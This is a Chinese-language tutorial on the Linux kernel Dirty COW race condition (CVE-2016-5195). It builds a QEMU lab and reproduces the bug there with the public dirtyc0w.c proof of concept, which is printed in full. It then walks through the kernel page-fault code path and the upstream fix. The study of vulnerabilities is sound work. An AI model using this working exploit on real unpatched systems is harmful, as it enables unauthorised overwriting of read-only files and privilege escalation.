从一个经典的漏洞入门 Linux Kernel。
本文同步发表在吾爱破解论坛:https://www.52pojie.cn/thread-1821561-1-1.html
漏洞描述
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka “Dirty COW.”
CVE-2016-5195 脏牛漏洞是一个经典的内核条件竞争漏洞,它利用了 Linux 内核的内存子系统在处理写时复制 (Copy-on-Write)时存在条件竞争漏洞,导致任意文件写的发生,可以用来提权。
背景知识
可以跳过 。
写时复制
简单来说就是在程序 fork 进程时,内核不会复制整个地址空间,只会创建一个虚拟的空间结构,本质上是共享了父进程的内存空间,只有在需要写入的时候才会复制数据。
系统调用
介绍一些涉及到的系统调用
mmap
函数原型
void * mmap ( void* start , size_t length , int prot , int flags , int fd , off_t offset )
这个函数的作用是将磁盘上的文件映射到虚拟内存中。
flags
当 flags
的 MAP_PRIVATE
被置为1时,对 mmap 得到内存映射进行的写操作会使内核触发 COW 操作,写的是 COW 后的内存,不会同步到磁盘的文件中。
madvise
函数原型
int madvise ( caddr_t addr , size_t len , int advice );
这个函数的主要作用是告诉内核内存 addr→addr+len
在接下来的使用状况,以便内核进行一些进一步的内存管理操作。
当 advice
为 MADV_DONTNEED
时,此系统调用相当于通知内核 addr→addr+len
的内存在接下来不再使用,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。
系统文件
/proc/self/mem
这个文件指向了当前进程的虚拟内存,当前进程可以通过读写这个文件来直接读写虚拟内存空间,并无视 内存映射时的权限设置。也就是说我们可以利用写 /proc/self/mem 来改写不具有写权限的虚拟内存。可以这么做的原因是 /proc/self/mem 是一个文件,只要进程对该文件具有写权限,那就可以写这个文件了。
环境搭建
编译内核
换源,安装一些可能必要的包:
sudo sed -i 's@//.*archive.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list
sudo sed -i 's@//security.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list
sudo apt update
sudo apt install build-essential libncurses5-dev libncursesw5-dev fakeroot bc
下载源码和补丁并打 patch:
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.4.1.tar.gz
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/patch-4.4.1.xz
tar zxvf linux-4.4.1.tar.gz
xz -d patch-4.4.1.xz | patch -p1
修改配置
cd linux-4.4.1
make x86_64_defconfig
make menuconfig
为了下断点调试,需要关闭 ASLR 并开启调试信息:
Processor type and features --->
[ ] Build a relocatable kernel
Kernel hacking --->
Compile-time checks and compiler options --->
[*] Compile the kernel with debug info
[ ] Reduce debugging information
[ ] Produce split debuginfo in .dwo files
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging
除此之外,对于 Debian Stretch 及以后的版本,还需要开启
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
这两个选项 ,否则会报 Failed to mount /sys/kernel/config
的错误,只能进救援模式 。
新版 Ubuntu 中的 gcc 默认开启了 PIC/PIE 。我们可以打这个 patch :
---
Makefile | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/Makefile b/Makefile
index dda982c..f96b174 100644
--- a/Makefile
+++ b/Makefile
@@ -608,6 +608,12 @@ endif # $(dot-config)
# Defaults to vmlinux, but the arch makefile usually adds further targets
all: vmlinux
+# force no-pie for distro compilers that enable pie by default
+KBUILD_CFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CFLAGS += $(call cc-option, -no-pie)
+KBUILD_AFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CPPFLAGS += $(call cc-option, -fno-pie)
+
# The arch Makefile can set ARCH_{CPP,A,C}FLAGS to override the default
# values of the respective KBUILD_* variables
ARCH_CPPFLAGS :=
--
2.8.1
将上面这段文本保存为 my.patch
,然后运行
git apply my.patch
在新版 Ubuntu 中编译旧版内核可能在编译后用 QEMU 模拟的时候卡住 ,我们最好用旧版 Ubuntu 编译,这篇文章给出的解决方案是在 Ubuntu 18.04 编译。为了方便起见我就直接写一个 Dockerfile:
FROM ubuntu:18.04
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list && \
sed -i 's@//security.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list && \
apt -y update && apt -y upgrade && \
apt -y install build-essential libncurses5-dev libncursesw5-dev fakeroot bc
构造 Docker:
docker build -t ck .
拉下来一个 docker:
version : '3'
services :
ubuntu :
container_name : compile-kernel
image : ck:latest
volumes :
- /etc/passwd:/etc/passwd:ro
- /etc/group:/etc/group:ro
- ./:/work
tty : true
进入 docker:
docker exec -it compile-kernel /bin/bash
切换用户:
su -l < usernam e > -s /bin/bash
接下来就可以编译内核了:
make -j16
加载文件系统镜像
可以使用 syzkaller 的脚本,赞美 syzkaller!
sudo apt-get install debootstrap
wget https://github.com/google/syzkaller/raw/master/tools/create-image.sh
export http_proxy = http://$hostIP:$hostPort
export https_proxy = http://$hostIP:$hostPort
bash create-image.sh
create-image.sh
使用了 http_proxy
和 https_proxy
作为代理,读者可以按需设置。在执行后会在当前目录生成 bullseye.img
。
接下来安装 qemu:
sudo apt-get install qemu-system
然后就可以启动 qemu 了:
qemu-system-x86_64 \
-m 2G \
-smp 2 \
-kernel ./linux-4.4.1/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
-drive file=./image/bullseye.img,format=raw,format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=e1000 \
-nographic \
-pidfile vm.pid \
2>&1 | tee vm.log
之后可以用 root 登录:
...
[ OK ] Finished Update UTMP about System Runlevel Changes.
Debian GNU/Linux 11 syzkaller ttyS0
syzkaller login: root
Linux syzkaller 4.4.1 #4 SMP Fri Aug 11 15:40:06 UTC 2023 x86_64
...
root@syzkaller:~#
创建用户
因为我们要做提权操作,从低权限打高权限,因此需要创建一个普通权限的用户。
adduser user
我们创建了一个没有 root 权限的用户:
user@syzkaller:~$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for user:
user is not in the sudoers file. This incident will be reported.
GDB 调试
非常简单,在 qemu 启动命令中加上 -s
参数即可:
qemu-system-x86_64 -s \
-m 2G -smp 2 \
-kernel ./linux-4.4.1/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
-drive file=./image/bullseye.img,format=raw,format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=e1000 \
-nographic \
-pidfile vm.pid \
2>&1 | tee vm.log
漏洞触发
Github 上有很多 PoC ,本文选了 dirtyc0w.c 这个 PoC,它可以修改只读文件。
构建只读文件
user@syzkaller:~$ su
Password:
root@syzkaller:/home/user# echo this is not a test > foo
root@syzkaller:/home/user# chmod 0404 foo
root@syzkaller:/home/user#
exit
user@syzkaller:~$ ls -lah foo
-r-----r--. 1 root root 19 Aug 12 11:09 foo
user@syzkaller:~$ cat foo
this is not a test
触发 PoC
先编译
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread dirtyc0w.c -o dirtyc0w
再执行:
user@syzkaller:~$ ./dirtyc0w foo m00000000000000000
mmap 7ffb4cc31000
madvise 0
procselfmem 1800000000
user@syzkaller:~$ cat
.bash_history .bashrc .viminfo dirtyc0w.c
.bash_logout .profile dirtyc0w foo
user@syzkaller:~$ cat foo
m00000000000000000
user@syzkaller:~$ ls -lah foo
-r-----r--. 1 root root 19 Aug 12 11:09 foo
成功修改了只读文件 foo。
PoC 分析
dirtyc0w
的代码非常短,仅有几十行:
void * map;
int f;
struct stat st;
char * name;
void * madviseThread ( void * arg )
{
char * str;
str = ( char* )arg;
int i,c = 0 ;
for (i = 0 ;i < 100000000 ;i ++ )
c += madvise (map, 100 ,MADV_DONTNEED);
printf ( "madvise %d\n\n " ,c);
}
void * procselfmemThread ( void * arg )
{
char * str;
str = ( char* )arg;
int f = open ( "/proc/self/mem" ,O_RDWR);
int i,c = 0 ;
for (i = 0 ;i < 100000000 ;i ++ ) {
lseek (f,( uintptr_t )map,SEEK_SET);
c += write (f,str, strlen (str));
}
printf ( "procselfmem %d\n\n " , c);
}
int main ( int argc , char * argv [] )
{
if (argc < 3 ) { ( void ) fprintf (stderr, " %s\n " , "usage: dirtyc0w target_file new_content" );
return 1 ; }
pthread_t pth1,pth2;
f = open ( argv [ 1 ],O_RDONLY);
fstat (f, & st);
name = argv [ 1 ];
map = mmap ( NULL ,st.st_size,PROT_READ,MAP_PRIVATE,f, 0 );
printf ( "mmap %zx\n\n " ,( uintptr_t ) map);
pthread_create ( & pth1, NULL ,madviseThread, argv [ 1 ]);
pthread_create ( & pth2, NULL ,procselfmemThread, argv [ 2 ]);
pthread_join (pth1, NULL );
pthread_join (pth2, NULL );
return 0 ;
}
这个 PoC 的逻辑很简单:
通过 mmap
将要修改的文件以只读和私有的方式映射到内存中;
启动两个线程 madviseThread
和 procselfmemThread
,其中:
madviseThread
会调用 madvise
系统调用告诉内核释放掉映射的内存;
procselfmemThread
会先调用 lseek
寻址到映射的内存,再调用 write
去写内存。
那么,这样为什么会出现竞争呢?我们需要深入到内核代码中去研究细节。
内存映射
在使用 mmap 映射内存时,如果不设置只读属性则会失败,因为这个文件不可写;设置私有属性的目的是为了触发 COW 操作。在内存映射后,文件会从磁盘上加载到文件对应的 page cache 中,但是进程相应的页表还没有建立:
第一次页错误
这个函数的核心是它的内存操作 write
。这个函数的定义位于 fs/proc/base.c :
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
在 write 的时候关键流程为:
mem_write ->
mem_rw ->
access_remote_vm ->
__access_remote_vm
在 __access_remote_vm
中完成了数据写的操作
static int __access_remote_vm ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long addr , void * buf , int len , int write )
{
... ...
... ...
struct page * page = NULL ;
ret = get_user_pages (tsk, mm, addr, 1 ,
write, 1 , & page, & vma);
... ...
... ...
maddr = kmap (page);
if (write) {
copy_to_user_page (vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock (page);
} else {
copy_from_user_page (vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap (page);
page_cache_release (page);
}
... ...
... ...
}
可以看到这里首先 get_user_pages
会获取 page,然后交给下面的处理逻辑,先将用户层的数据写入 page 中,然后设置脏页。这个 page 的获取是漏洞成因的关键,我们进入这个函数看看,它的关键流程为:
get_user_pages ->
__get_user_pages_locked ->
__get_user_pages
接下来看一下 __get_user_pages
函数中的关键流程:
long __get_user_pages ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long start , unsigned long nr_pages ,
unsigned int gup_flags , struct page ** pages ,
struct vm_area_struct ** vmas , int * nonblocking )
{
... ...
... ...
do {
... ...
... ...
cond_resched ();
page = follow_page_mask (vma, start, foll_flags, & page_mask);
if ( ! page) {
int ret;
ret = faultin_page (tsk, vma, start, & foll_flags,
nonblocking);
... ...
... ...
} while (nr_pages);
return i;
}
其中 cond_resched
函数是线程调度函数,可能导致多线程竞态情况的发生。
follow_page_mask
函数会通过用户层虚拟地址查找映射到物理内存页,如果查找到就返回该内存页的描述符,否则代表还没有映射到物理内存,返回 NULL
,它实际上是去找 PTE 表项去了:
follow_page_mask ->
follow_page_pte
在 PoC 中,此时是在 mmap 内存之后第一次对内存进行操作,因此在进入 follow_page_pte
的逻辑时会发现没有这个 pte 表项,继而在 __get_user_pages
函数中的 faultin_page
中处理。faultin_page
函数会主动触发一个写错误缺页中断:
static int faultin_page ( struct task_struct * tsk , struct vm_area_struct * vma ,
unsigned long address , unsigned int * flags , int * nonblocking )
{
... ...
... ...
if ( * flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
... ...
... ...
ret = handle_mm_fault (mm, vma, address, fault_flags);
... ...
... ...
}
好嘞,在触发缺页之后,此时的调用链为:
mem_write ->
mem_rw ->
access_remote_vm ->
__access_remote_vm ->
get_user_pages ->
__get_user_pages_locked ->
__get_user_pages ->
follow_page_mask ->
follow_page_pte -> # 缺页错误
首次分配新页
接下来会进入 handle_mm_fault
去处理这个错误,这一块的关键流程为:
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault
进入到 handle_pte_fault
函数:
static int handle_pte_fault ( struct mm_struct * mm ,
struct vm_area_struct * vma , unsigned long address ,
pte_t * pte , pmd_t * pmd , unsigned int flags )
{
... ...
... ...
entry = * pte;
barrier ();
if ( ! pte_present (entry)) {
if ( pte_none (entry)) {
if ( vma_is_anonymous (vma))
... ...
else
return do_fault (mm, vma, address, pte, pmd,
flags, entry);
}
... ...
}
... ...
... ...
}
由于此时没有 pte 表项,而且我们也没有在 mmap 时给内存设置 MAP_ANONYMOUS
标志,因此会进入到 do_fault
函数中:
static int do_fault ( struct mm_struct * mm , struct vm_area_struct * vma ,
unsigned long address , pte_t * page_table , pmd_t * pmd ,
unsigned int flags , pte_t orig_pte )
{
... ...
... ...
if ( ! (flags & FAULT_FLAG_WRITE))
return do_read_fault (mm, vma, address, pmd, pgoff, flags,
orig_pte);
if ( ! (vma->vm_flags & VM_SHARED))
return do_cow_fault (mm, vma, address, pmd, pgoff, flags,
orig_pte);
... ...
}
在 do_fault
函数中有两个比较关键的判断:
判断是否有 FAULT_FLAG_WRITE
标志,没有则进入 do_read_fault
函数的逻辑;
判断有没有 VM_SHARED
标志,没有则进入 do_cow_fault
的逻辑中。
我们在 faultin_page
的时候添加了 FAULT_FLAG_WRITE
,因此不会进入第一个逻辑。由于我们 mmap 的内存并没有设置 VM_SHARED
标志位(对应 mmap 中的 MAP_SHARED
),因此接下来会进入 do_cow_fault
的逻辑中:
static int do_cow_fault ( struct mm_struct * mm , struct vm_area_struct * vma ,
unsigned long address , pmd_t * pmd ,
pgoff_t pgoff , unsigned int flags , pte_t orig_pte )
{
struct page * fault_page, * new_page;
struct mem_cgroup * memcg;
spinlock_t * ptl;
pte_t * pte;
int ret;
... ...
new_page = alloc_page_vma (GFP_HIGHUSER_MOVABLE, vma, address);
... ...
ret = __do_fault (vma, address, pgoff, flags, new_page, & fault_page);
... ...
if (fault_page)
copy_user_highpage (new_page, fault_page, address, vma);
__SetPageUptodate (new_page);
pte = pte_offset_map_lock (mm, pmd, address, & ptl);
... ...
do_set_pte (vma, address, new_page, pte, true , true );
... ...
return ret;
}
do_cow_fault
函数的操作是:
重新分配一个页面 new_page
;
调用 __do_fault
函数将 page cache 读到 fault_page
中;
copy_user_highpage
将 fault_page
中的内容拷贝到 new_page
中;
这个 new_page
就被分配出来了:
do_set_pte
将新页面和虚拟地址重新建立映射关系,我们重点关注一下这个函数:
void do_set_pte ( struct vm_area_struct * vma , unsigned long address ,
struct page * page , pte_t * pte , bool write , bool anon )
{
pte_t entry;
... ...
entry = mk_pte (page, vma->vm_page_prot);
if (write)
entry = maybe_mkwrite ( pte_mkdirty (entry), vma);
... ...
set_pte_at (vma->vm_mm, address, pte, entry);
/* no need to invalidate: a not-present page won't be cached */
update_mmu_cache (vma, address, pte);
}
在这一步会:
根据新分配的页和 vma 的相关属性生成一个 pte 页表项 entry
;
因为我们触发了写错误的缺页中断,因此 write==1
,会进入到第一个判断逻辑中。通过 pte_mkdirty
函数设置 entry 页表项指向的页为脏页,进入 maybe_mkwrite
函数中:
static inline pte_t maybe_mkwrite ( pte_t pte , struct vm_area_struct * vma )
{
if ( likely (vma->vm_flags & VM_WRITE))
pte = pte_mkwrite (pte);
return pte;
}
在 maybe_mkwrite
函数中,只有内存区域存在可写标记的时候才会设置 entry 的 WRITE
标志位,但由于我们 mmap 的参数是 PROT_READ
,没有 PROT_WRITE
,因此内存不是可写的,不会设置 WRITE
标志位。那么此时 pte entry 的属性是:脏页且只读。
好啦,当前的调用链为:
mem_write ->
mem_rw ->
access_remote_vm ->
__access_remote_vm ->
get_user_pages ->
__get_user_pages_locked ->
__get_user_pages ->
follow_page_mask ->
follow_page_pte -> # 缺页错误
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault ->
do_fault ->
do_cow_fault -> # 分配一个新页
do_set_pte -> # 设置脏页
maybe_mkwrite # 不可写
哇,还真是很漫长呢,这下终于把新页增加流程分析得差不多,是时候返回了。
第二次页错误
接下来一路返回到 __get_user_pages
函数且返回值为 0,这样会再次进入 follow_page_mask
函数中,最终进到 follow_page_pte
函数中。
long __get_user_pages ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long start , unsigned long nr_pages ,
unsigned int gup_flags , struct page ** pages ,
struct vm_area_struct ** vmas , int * nonblocking )
{
... ...
... ...
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
... ...
cond_resched ();
page = follow_page_mask (vma, start, foll_flags, & page_mask);
if ( ! page) {
int ret;
ret = faultin_page (tsk, vma, start, & foll_flags,
nonblocking);
switch (ret) {
case 0 :
goto retry;
... ...
... ...
}
注意到此时虽然不会产生 COW 导致的缺页了,但是传进去的 pte entry 是只读的脏页,因此会进入下面的逻辑:
static struct page * follow_page_pte ( struct vm_area_struct * vma ,
unsigned long address , pmd_t * pmd , unsigned int flags )
{
... ...
... ...
if ((flags & FOLL_WRITE) && ! pte_write (pte)) {
pte_unmap_unlock (ptep, ptl);
return NULL ;
}
... ...
... ...
这样就会返回 NULL,重新进入 faultin_page
函数:
long __get_user_pages ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long start , unsigned long nr_pages ,
unsigned int gup_flags , struct page ** pages ,
struct vm_area_struct ** vmas , int * nonblocking )
{
... ...
... ...
page = follow_page_mask (vma, start, foll_flags, & page_mask);
if ( ! page) {
int ret;
ret = faultin_page (tsk, vma, start, & foll_flags,
nonblocking);
... ...
... ...
去除写标记
接下来会再次进入这个调用链:
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault
在 handle_pte_fault
函数中,由于此时触发了写错误异常,自身又不带有 WRITE
标记,因此会进入 do_wp_page
函数中:
static int handle_pte_fault ( struct mm_struct * mm ,
struct vm_area_struct * vma , unsigned long address ,
pte_t * pte , pmd_t * pmd , unsigned int flags )
{
pte_t entry;
... ...
entry = * pte;
... ...
... ...
if (flags & FAULT_FLAG_WRITE) {
if ( ! pte_write (entry))
return do_wp_page (mm, vma, address,
pte, pmd, ptl, entry);
... ...
... ...
在 do_wp_page
函数中,我们传递的页面是匿名页面且可重用,因此会进入 reuse 的逻辑,接着进入 wp_page_reuse
函数:
static int do_wp_page ( struct mm_struct * mm , struct vm_area_struct * vma ,
unsigned long address , pte_t * page_table , pmd_t * pmd ,
spinlock_t * ptl , pte_t orig_pte )
__releases (ptl)
{
struct page * old_page;
old_page = vm_normal_page (vma, address, orig_pte);
... ...
... ...
if ( PageAnon (old_page) && ! PageKsm (old_page)) {
... ...
... ...
if ( reuse_swap_page (old_page)) {
page_move_anon_rmap (old_page, vma, address);
unlock_page (old_page);
return wp_page_reuse (mm, vma, address, page_table, ptl,
orig_pte, old_page, 0 , 0 );
在 wp_page_reuse
函数中,经过一系列处理后,最终返回 VM_FAULT_WRITE
:
static inline int wp_page_reuse ( struct mm_struct * mm ,
struct vm_area_struct * vma , unsigned long address ,
pte_t * page_table , spinlock_t * ptl , pte_t orig_pte ,
struct page * page , int page_mkwrite ,
int dirty_shared )
__releases (ptl)
{
... ...
... ...
return VM_FAULT_WRITE;
}
此时的函数调用链为:
mem_write ->
mem_rw ->
access_remote_vm ->
__access_remote_vm ->
get_user_pages ->
__get_user_pages_locked ->
__get_user_pages ->
follow_page_mask ->
follow_page_pte -> # 缺页错误
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault ->
do_fault ->
do_cow_fault -> # 分配一个新页
do_set_pte -> # 设置脏页
maybe_mkwrite -> # 不可写
follow_page_mask ->
follow_page_pte -> # 不可写导致二次页错误
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault ->
do_wp_page ->
wp_page_reuse # 返回 VM_FAULT_WRITE
回到 faultin_page
,由于此时的返回值是 VM_FAULT_WRITE
,因此会清除 FOLL_WRITE
的标记位:
static int faultin_page ( struct task_struct * tsk , struct vm_area_struct * vma ,
unsigned long address , unsigned int * flags , int * nonblocking )
{
... ...
... ...
if ((ret & VM_FAULT_WRITE) && ! (vma->vm_flags & VM_WRITE))
* flags &= ~ FOLL_WRITE;
return 0 ;
}
第二次页错误的最终结果是:
在返回之后重新 retry,进入 follow_page_mask
函数,但是漏洞已经出现了:
long __get_user_pages ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long start , unsigned long nr_pages ,
unsigned int gup_flags , struct page ** pages ,
struct vm_area_struct ** vmas , int * nonblocking )
{
... ...
... ...
retry:
... ...
cond_resched ();
page = follow_page_mask (vma, start, foll_flags, & page_mask);
if ( ! page) {
int ret;
ret = faultin_page (tsk, vma, start, & foll_flags,
nonblocking);
switch (ret) {
case 0 :
goto retry;
... ...
... ...
}
进入 retry 流程后,cond_resched
函数会主动放权,导致 madviseThread
线程有一次出手机会。
页表释放
madviseThread
解除刚刚分配的页,这会导致刚刚分配的页失效,且由于刚刚清除了 FOLL_WRITE
标记位,接下来就是触发漏洞的时刻!
第三次页错误
调度返回 __get_user_pages
函数,重新进入 follow_page_mask
,由于页表刚刚被释放,因此会触发第三次缺页错误,进入 faultin_page
函数中。
cond_resched ();
page = follow_page_mask (vma, start, foll_flags, & page_mask );
if ( ! page) {
int ret;
ret = faultin_page (tsk, vma, start, & foll_flags,
nonblocking);
二次分配新页
在这次分配中,由于没有了写标记,因此 fault_flags
不会添加 FAULT_FLAG_WRITE
标记。此时的调用链为:
faultin_page ->
handle_mm_fault ->
__handle_mm_fault ->
handle_pte_fault ->
do_fault
在 do_fault
函数中,因为 flags
不带有 FAULT_FLAG_WRITE
,因此最终会调用 do_read_fault
而不是 do_cow_fault
直接返回 page cache,因为内核会觉得你希望读而不是写,无所谓。
static int do_fault ( struct mm_struct * mm , struct vm_area_struct * vma ,
unsigned long address , pte_t * page_table , pmd_t * pmd ,
unsigned int flags , pte_t orig_pte )
{
... ...
... ...
if ( ! (flags & FAULT_FLAG_WRITE))
return do_read_fault (mm, vma, address, pmd, pgoff, flags,
orig_pte);
if ( ! (vma->vm_flags & VM_SHARED))
return do_cow_fault (mm, vma, address, pmd, pgoff, flags,
orig_pte);
return do_shared_fault (mm, vma, address, pmd, pgoff, flags, orig_pte);
}
这样,我们又双叒叕一次返回到了 __get_user_pages
函数中,再次调用 follow_page_mask
函数。不过这一次写标记已经去掉了,因此会正常给你返回 page,且该 page 是 page cache。
写入数据
终于,在经过长长的页分配之后,我们可以返回了,这次直接返回到 __access_remote_vm
函数中:
static int __access_remote_vm ( struct task_struct * tsk , struct mm_struct * mm ,
unsigned long addr , void * buf , int len , int write )
{
struct vm_area_struct * vma;
void * old_buf = buf;
... ...
while (len) {
int bytes, ret, offset;
void * maddr;
struct page * page = NULL ;
ret = get_user_pages (tsk, mm, addr, 1 ,
write, 1 , & page, & vma);
if (ret <= 0 ) {
... ...
... ...
} else {
bytes = len;
offset = addr & (PAGE_SIZE - 1 );
... ...
maddr = kmap (page);
if (write) {
copy_to_user_page (vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock (page);
} else {
... ...
}
kunmap (page);
page_cache_release (page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read ( & mm->mmap_sem);
return buf - old_buf;
}
在返回页表项后,开始写入数据。由于 PoC 是直接写 /proc/self/mem
,这种写法可以无视页表权限强制写入,这是 memcpy
做不到的。在这种写入方法下,会首先 kmap 出一块地址,写入并置脏页标记:
由于 pache cache 关联的页表项是脏页,因此最后利用 page cache 的写回机制复写磁盘上的文件,攻击完成。
总结
这个漏洞通过 write mmap 出的只读私有内存触发页错误,去除写标记,利用条件竞争卸载当前列表,可以让本应报错的写入失效,能够分配出页表;然后利用 /proc/self/mem
的 kmap
强行写入,最后利用 page cache 的回写机制写回物理文件,达到修改只读文件的效果。
在这个漏洞中,竞争出现在第二次页错误去除写标记后,cond_resched
函数给了 madvise
插入的机会,让它能够释放页表项,导致漏洞的发生。
补丁分析
补丁 添加了一个新的标志位 FOLL_COW
:
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6a51e97..ed85879f47f5f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
在第二次页错误后,不会去除写标记而是添加 FOLL_COW
标记:
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2fd0fbd1..22cc22e7432f6 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
return -EEXIST;
}
+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95,7 +105,7 @@ retry:
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
}
这样,在竞争时即使释放了页表项,也不会去掉了 FOLL_WRITE
标记,而是重新分配页面,保证了内存操作的一致性。
漏洞调试
可以参考 linux內核提权漏洞CVE-2016-5195 或[原创]用VBoxDbg调试并理解单线程版脏牛(CVE-2016-5195) 这两篇文章。
参考资料